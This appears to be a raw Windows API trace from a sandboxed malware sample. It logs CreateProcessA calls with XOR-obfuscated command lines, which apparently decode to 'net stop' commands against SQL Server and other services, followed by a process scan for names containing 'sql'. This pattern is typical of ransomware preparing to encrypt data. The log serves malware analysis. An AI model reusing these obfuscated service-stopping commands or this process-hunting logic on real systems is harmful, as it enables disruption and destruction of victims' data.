	[0092.542] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕ½ÊÖÉÑÖʹ¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕ½ÊÖÉÑÖʹ¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.542] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÈÕØþü÷í½ÊÖÉÑÖʹ¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÈÕØþü÷í½ÊÖÉÑÖʹ¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.542] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ØÏɹ¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ØÏɹ¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.543] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹òõ÷øþü÷í¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹òõ÷øþü÷í¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.543] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕ½ÊÈÕÜÁÉËÜÊʹ¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕ½ÊÈÕÜÁÉËÜÊʹ¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.544] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÈÕØþü÷í½ÊÈÕÜÁÉËÜÊʹ¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÈÕØþü÷í½ÊÈÕÜÁÉËÜÊʹ¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.544] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹îûü÷þð÷ü¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹îûü÷þð÷ü¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.544] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹òøïÿêêõ鹶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹òøïÿêêõ鹶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.545] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÒØÏßÊÞ͹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÒØÏßÊÞ͹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.545] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÒØÏßʹ¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÒØÏßʹ¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.546] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0
	[0092.557] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0092.558] StrStrIW (lpFirst="[System Process]", lpSrch="sql") returned 0x0
	[0092.558] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0092.558] StrStrIW (lpFirst="System", lpSrch="sql") returned 0x0
	[0092.559] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0092.559] StrStrIW (lpFirst="smss.exe", lpSrch="sql") returned 0x0
	[0092.559] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0092.559] StrStrIW (lpFirst="csrss.exe", lpSrch="sql") returned 0x0
	[0092.559] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0092.560] StrStrIW (lpFirst="wininit.exe", lpSrch="sql") returned 0x0
	[0092.560] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0092.560] StrStrIW (lpFirst="csrss.exe", lpSrch="sql") returned 0x0
	[0092.560] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0092.561] StrStrIW (lpFirst="winlogon.exe", lpSrch="sql") returned 0x0
	[0092.561] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0092.561] StrStrIW (lpFirst="services.exe", lpSrch="sql") returned 0x0
	[0092.561] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0092.562] StrStrIW (lpFirst="lsass.exe", lpSrch="sql") returned 0x0
	[0092.562] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0092.562] StrStrIW (lpFirst="svchost.exe", lpSrch="sql") returned 0x0
	[0092.562] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0092.563] StrStrIW (lpFirst="fontdrvhost.exe", lpSrch="sql") returned 0x0
	[0092.563] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0092.563] StrStrIW (lpFirst="fontdrvhost.exe", lpSrch="sql") returned 0x0
	[0092.563] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0092.564] StrStrIW (lpFirst="svchost.exe", lpSrch="sql") returned 0x0
	[0092.564] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0092.564] StrStrIW (lpFirst="dwm.exe", lpSrch="sql") returned 0x0
	[0092.564] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x61, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0092.565] StrStrIW (lpFirst="svchost.exe", lpSrch="sql") returned 0x0
	[0092.565] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0092.565] StrStrIW (lpFirst="svchost.exe", lpSrch="sql") returned 0x0
	[0092.565] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0092.566] StrStrIW (lpFirst="svchost.exe", lpSrch="sql") returned 0x0
	[0092.566] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0092.566] StrStrIW (lpFirst="svchost.exe", lpSrch="sql") returned 0x0
	[0092.566] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0092.567] StrStrIW (lpFirst="svchost.exe", lpSrch="sql") returned 0x0
	[0092.567] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0092.567] StrStrIW (lpFirst="svchost.exe", lpSrch="sql") returned 0x0
	[0092.567] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0092.568] StrStrIW (lpFirst="svchost.exe", lpSrch="sql") returned 0x0
	[0092.568] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0092.568] StrStrIW (lpFirst="svchost.exe", lpSrch="sql") returned 0x0
	[0092.568] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0092.569] StrStrIW (lpFirst="svchost.exe", lpSrch="sql") returned 0x0
	[0092.569] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0092.570] StrStrIW (lpFirst="svchost.exe", lpSrch="sql") returned 0x0
	[0092.570] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0092.570] StrStrIW (lpFirst="spoolsv.exe", lpSrch="sql") returned 0x0
	[0092.570] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0092.571] StrStrIW (lpFirst="svchost.exe", lpSrch="sql") returned 0x0
	[0092.571] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0092.571] StrStrIW (lpFirst="audiodg.exe", lpSrch="sql") returned 0x0
	[0092.571] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0092.572] StrStrIW (lpFirst="sihost.exe", lpSrch="sql") returned 0x0
	[0092.572] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0092.572] StrStrIW (lpFirst="svchost.exe", lpSrch="sql") returned 0x0
	[0092.572] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0092.573] StrStrIW (lpFirst="taskhostw.exe", lpSrch="sql") returned 0x0
	[0092.573] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0092.573] StrStrIW (lpFirst="explorer.exe", lpSrch="sql") returned 0x0
	[0092.573] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0092.574] StrStrIW (lpFirst="OfficeClickToRun.exe", lpSrch="sql") returned 0x0
	[0092.574] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0092.574] StrStrIW (lpFirst="SecurityHealthService.exe", lpSrch="sql") returned 0x0
	[0092.574] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0092.575] StrStrIW (lpFirst="Memory Compression", lpSrch="sql") returned 0x0
	[0092.575] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0092.575] StrStrIW (lpFirst="ShellExperienceHost.exe", lpSrch="sql") returned 0x0
	[0092.575] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0092.576] StrStrIW (lpFirst="SearchUI.exe", lpSrch="sql") returned 0x0
	[0092.576] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0092.576] StrStrIW (lpFirst="RuntimeBroker.exe", lpSrch="sql") returned 0x0
	[0092.576] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0092.577] StrStrIW (lpFirst="WmiPrvSE.exe", lpSrch="sql") returned 0x0
	[0092.577] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fur.exe")) returned 1
	[0092.577] StrStrIW (lpFirst="fur.exe", lpSrch="sql") returned 0x0
	[0092.577] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="packages.exe")) returned 1
	[0092.578] StrStrIW (lpFirst="packages.exe", lpSrch="sql") returned 0x0
	[0092.578] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sunshine.exe")) returned 1
	[0092.578] StrStrIW (lpFirst="sunshine.exe", lpSrch="sql") returned 0x0
	[0092.578] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="honors shoe.exe")) returned 1
	[0092.579] StrStrIW (lpFirst="honors shoe.exe", lpSrch="sql") returned 0x0
	[0092.579] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="last-modem.exe")) returned 1
	[0092.579] StrStrIW (lpFirst="last-modem.exe", lpSrch="sql") returned 0x0
